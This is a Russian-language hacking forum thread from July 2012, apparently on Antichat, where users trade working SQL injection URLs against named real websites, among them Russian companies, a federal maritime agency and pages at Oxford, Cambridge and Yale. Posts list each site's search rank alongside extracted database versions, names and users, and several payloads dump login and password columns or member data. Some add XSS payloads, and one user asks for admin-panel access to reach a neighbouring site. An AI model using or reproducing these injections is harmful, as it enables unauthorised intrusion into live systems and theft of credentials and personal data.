SQL Инъекции

Га-Ноцри · 1 Jul 2012

ТИЦ == 10, PR == 5, DMOZ == true(Monterey » Business and Economy);

PHP:

http://www.backscatter.com/learn/article/article.php?ID=57+and+(select+1+from(select+count(*),concat(database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--

ТИЦ == 10, PR == 6;

PHP:

http://www.gqrr.com/index.php?ID=-408+union+select+1,2,3,4,5,6,7,8,9,10,11,12,unhex(hex(version())),14--

HellFire · 1 Jul 2012

Кадровый клуб Санкт-Петербурга.
Code:
http://www.kkspb.ru/index.php?id_category=1+UNION+SELECT+1,2,3,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),5,6,7,8,9,10--
Database Version: 4.1.22-lk-log
Database name: kkspbru
User name: [email protected]

ТИЦ: 20
PR: 0

Путеводитель по отелям и гостиницам.
Code:
http://www.hotelstop.ru/opinn1.php?num=1-1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3--
Вывод в титле.

Database Version: 4.0.27-log
Database name: delinform
User name: [email protected]

ТИЦ: 40
PR: 3

Недвижимость Кирова.
Code:
http://www.homekirov.ru/read_news.php?num=1-1.1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9--
Database Version: 5.1.58-log
Database name: cl26429_home
User name: [email protected]

ТИЦ: 10
PR: 2

Интернет портал СНГ.
Code:
http://e-cis.info/index.php?id=1+UNION+SELECT+1,2,3,4,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),6,7,8,9--
File_Priv = Y

Database Version: 5.0.67-community-nt
Database name: info
User name: [email protected]

ТИЦ: 40
PR: 5

Сиамский университет.
Code:
http://admission.siam[COLOR=Red].edu[/COLOR]/board/board_topic_detail.php?tid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),11,12--
Database Version: 5.0.95
Database name: SIAM_ADMISSION
User name: [email protected]

ТИЦ: 0
PR: 4

Фан-сайт Сталина.
Code:
http://www.stalinproject.com/secondary.php?id_subject=1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6-- 
Database Version: 5.0.27-standard
Database name: StalinProject
User name: root@localhost

ТИЦ: 0
PR: 4

ООО "Пермрегионгаз"
Code:
http://www.prg.perm.ru/index.php?Template=NewsDetail&MessageID=1+UNION+SELECT+1,2,3,4,5,6,7,8,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
Database Version: 5.1.42
Database name: prg_prg
User name: [email protected]

ТИЦ: 20
PR: 3

Интернет-аукцион антиквариата.
Code:
http://www.antikwariat.ru/categories.php?parent_id=2000+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3+LIMIT+1,1--
Вывод в титле.

Database Version: 5.1.61
Database name: antikwar
User name: [email protected]

ТИЦ: 250
PR: 4

kingbeef · 2 Jul 2012

http://www.filmmakersjournal.co.uk/article.php?id=-4+union+select+1,'%3Cscript%3Ealert('XSS')%3C/script%3E',3,4,5,6,7,8,9--+f
Click to expand...

Оксфорд

http://festivals.mml.o[google]x.ac.uk/index.php?page=view_single&id=-1+union+select+1,2,(select(@n)from(select(@n:=0x20),(select(null)from(festivals.users)where(@n:=concat(@n,0x3c62723e,username,0x3a,password))))n),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--+f
Click to expand...

Пасивка на оксфорде

http://festivals.mml.ox.ac.uk/index.php?page=view_single&id=-1+union+select+1,2,0x3c7363726970743e616c65727428293c2f7363726970743e,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--+f
Click to expand...

Га-Ноцри · 3 Jul 2012

Астрологический институт Павла Глобы, лол.

ТИЦ == 10, PR == 2;

PHP:

http://globainstitut.ru/index.php?id=-16+union+select+1,2,3,4,5,6,concat_ws(0x03a,login,password),8+from+users--

Вывод в source.

PR == 5;

Cобственно, Oracle. У кого есть желание из спортивного интереса поковыряться - вот наглядный пример. Число колонок подобрано, равно как и выявлено принтабельное поле. Дальше лень

PHP:

http://www.observacoop.org.mx/ActoresListado.php?id_actor=-581+union+select+null,to_char(777),null,null,null,null,null,null,null,null,null,null,null,null,null+from+sys.dual--

HellFire · 3 Jul 2012

Федеральное агентство морского и речного транспорта.
Code:
http://www.morflot.ru/index.php?news_id=1-1+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),4--
Database Version: 5.0.67
Database name: morflot
User name: root@localhost

ТИЦ: 1200
PR: 6

Международное евразийское движение.
Code:
http://evrazia.info/modules.php?name=News&file=article&sid=1-1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9,10,11,12,13,14--
Database Version: 5.1.61
Database name: evrazia
User name: [email protected]

ТИЦ: 130
PR: 4

Zed0x · 3 Jul 2012

Юридическая компания "Богатовъ и К"

http://www.bogatoff.ru/law_news/?article=-226+uNioN+SeleCt+group_concat(table_name+separator+0x3c62723e)+from+information_schema.tables+where+table_schema=0x75313730343831+--+
Click to expand...

MySQL >5.
Если кто в админку зайдет постучите в личку плиз, мне сосед его по IP нужен.
________________________________________
Заказ и доставка билетов:

http://biletoff.ru/index.php?cat=1056&scheme=-4+uNioN+sElecT+group_concat(table_name+separator+0x3c62723e)+from+information_schema.tables+where+table_schema=0x75313431313736+--+
Click to expand...

MySQL >5, phpinfo: http://biletoff.ru/info.php

^NSA^ · 3 Jul 2012

Новости

http://www.visitcorvallis.com/index.php?action=events_info&rowid=7260 and 1=convert(numeric,(select max(convert(char,linkurl)||0x3a||convert(char,thedate)) from yourbuilderlinksn..news))--
Click to expand...

unisep

http://www.unisep.edu.br/graduacao.php?id=9 and 1=(select first+1+cast(BAN_NOME+||+BAN_FOTO+as+char(255))+from+BANNER)
Click to expand...

Га-Ноцри · 4 Jul 2012

ТИЦ == 100, PR == 2, ЯK == true, DMOZ == true;

PHP:

http://www.varvara-music.ru/press.html?id=77777+union+select+1,2,3,concat_ws(0x03a,database(),user(),version()),5,6,7,8,9,10,11,12--

VY_CMa · 5 Jul 2012

Любителям хардкора посвящается:
pr=4
cy=10
dmoz=true

http://www.zuerigay.ch/gallery/de/galpicshow.php?id=5572+and+1=0+union+select+1,2,3,concAt_ws%280x3a,user,pw,pval,paid%29,5,6,7,8,9,10,11,12,13,14,15,16,17+from+member+limit+0,1+--+
Click to expand...

A_n_d_r_e_i · 5 Jul 2012

Хардкора говоришь?
http://pornman.ru/onload2.php?p2=-18+union+select+1,2,3,4,5,6,7,8,9,10--

Га-Ноцри · 5 Jul 2012

Завязывайте с порно, господа Вот вам вполне симпатичный и интересный сайт, посвященный "киноляпам"

ТИЦ == 150, PR == 5, трафф; юзвери == ~27k;

PHP:

http://www.moviemistakes.com/submission_mistake.php?titleid=-3267+union+select+count(*),2,3,4+from+member--

A_n_d_r_e_i · 5 Jul 2012

Code:

http://www.centrodiesel.com.co/html/noticias_det.php?id=-29+union+select+1,group_concat(0x0b,id,0x3a,fecha,0x3a,hora,0x3a,empresa,0x3a,cargo,0x3a,email,0x3a,telefono,0x3a,ciudad,0x3a,comentario,0x3a,nombre),3,4,5+from+goblesei_mail.formualrio_web--

^NSA^ · 5 Jul 2012

filmmakersjournal

http://www.filmmakersjournal.co.uk/article.php?id=-12 union select 1,concat_ws(0x3a,version(),database(),user())
,3,4,5,6,7,8,9 --
Click to expand...

^NSA^ · 6 Jul 2012

logosfor

http://www.logosfor.com.br/orcamento.php?_edtOs=1 and+1=(select+first+1+skip+1+distinct+CLI_FONE+from+ORCAMENTO)
Click to expand...

aydin-ka · 6 Jul 2012

PR 8

PHP:

http://www.bsun.org/?web=bsun&task=-1%27+union+select+1,2,@@version,4,5,6,7,8--+

kalashonokk · 6 Jul 2012

http://www.cscl.ru/news_cats.php?cat_id=1'
Пожалуйста, помогите дальше раскрутить

kingbeef · 7 Jul 2012

.edu

Тиц 1800
PR 8

PHP:

http://lwlimages.library.yale.edu/strawberryhill/oneitem.asp?id=-1'%20or%201=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('shprov','shplocation','test_DISTINCT_IDs','Biography','test_MERGED','test_SINGLE_ID','shmain','this_SET','shobjectsfull','z_creatortemp','shobjectsfull(bak)','shfull','shobjectsmain','shcategory','shcreator','shmaterials','shrole','shtechnique','shobjectsmain(bak)'))--

дальше устал))

kingbeef · 7 Jul 2012

Кембриджский университет

Тиц 1900
PR 9

PHP:

http://www.lib.cam.ac.uk/exhibitions/KJV/codex.php?id=-1+union+select+11111111,22222222,333333333,4444444,555555555--+f

Вывод в исходном коде на 72 строке

PHP:

http://www.lib.cam.ac.uk/exhibitions/KJV/codex.php?id=-1+union+select+11111111,22222222,333333333,version(),555555555--+f

4.1.22-log

PHP:

http://www.divinity.cam.ac.uk/index.php?option=com_mifaq&view=category&id=-1+union+select+1,2,(select(@x)from(select(@x:=0x00),(select(null)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4--+f

File_Priv=Y

^NSA^ · 7 Jul 2012

tomax

http://www.tomax.bg/details.php?id=16639 and 1=(select first+1+skip+4+distinct+rdb$field_name+from+rdb$relation_fields where rdb$relation_name=(select first+1+skip+9+distinct+rdb$relation_name+from+rdb$relations))
Click to expand...

MaxFast · 7 Jul 2012

http://morewords.ru/page.php?id=33&newid=-5251+union+select+1,2,3,user%28%29,5--
Click to expand...

[email protected]

SQL Инъекции

Га-Ноцри Elder - Старейшина

HellFire Elder - Старейшина

kingbeef Reservists Of Antichat

Га-Ноцри Elder - Старейшина

HellFire Elder - Старейшина

Zed0x Member

^NSA^ Elder - Старейшина

Га-Ноцри Elder - Старейшина

VY_CMa Green member

A_n_d_r_e_i Active Member

Га-Ноцри Elder - Старейшина

A_n_d_r_e_i Active Member

^NSA^ Elder - Старейшина

^NSA^ Elder - Старейшина

aydin-ka Elder - Старейшина

kalashonokk New Member

kingbeef Reservists Of Antichat

kingbeef Reservists Of Antichat

^NSA^ Elder - Старейшина

MaxFast Elder - Старейшина

SQL Инъекции

SQL Инъекции АНТИБОЯН (Новая версия)

sql инъекции, там где их на первый взгляд нет.

Java and SQL инъекции

Useful Searches

SQL Инъекции

Га-Ноцри Elder - Старейшина

HellFire Elder - Старейшина

kingbeef Reservists Of Antichat

Га-Ноцри Elder - Старейшина

HellFire Elder - Старейшина

Zed0x Member

^NSA^ Elder - Старейшина

Га-Ноцри Elder - Старейшина

VY_CMa Green member

A_n_d_r_e_i Active Member

Га-Ноцри Elder - Старейшина

A_n_d_r_e_i Active Member

^NSA^ Elder - Старейшина

^NSA^ Elder - Старейшина

aydin-ka Elder - Старейшина

kalashonokk New Member

kingbeef Reservists Of Antichat

kingbeef Reservists Of Antichat

^NSA^ Elder - Старейшина

MaxFast Elder - Старейшина

SQL Инъекции

SQL Инъекции АНТИБОЯН (Новая версия)

sql инъекции, там где их на первый взгляд нет.

Java and SQL инъекции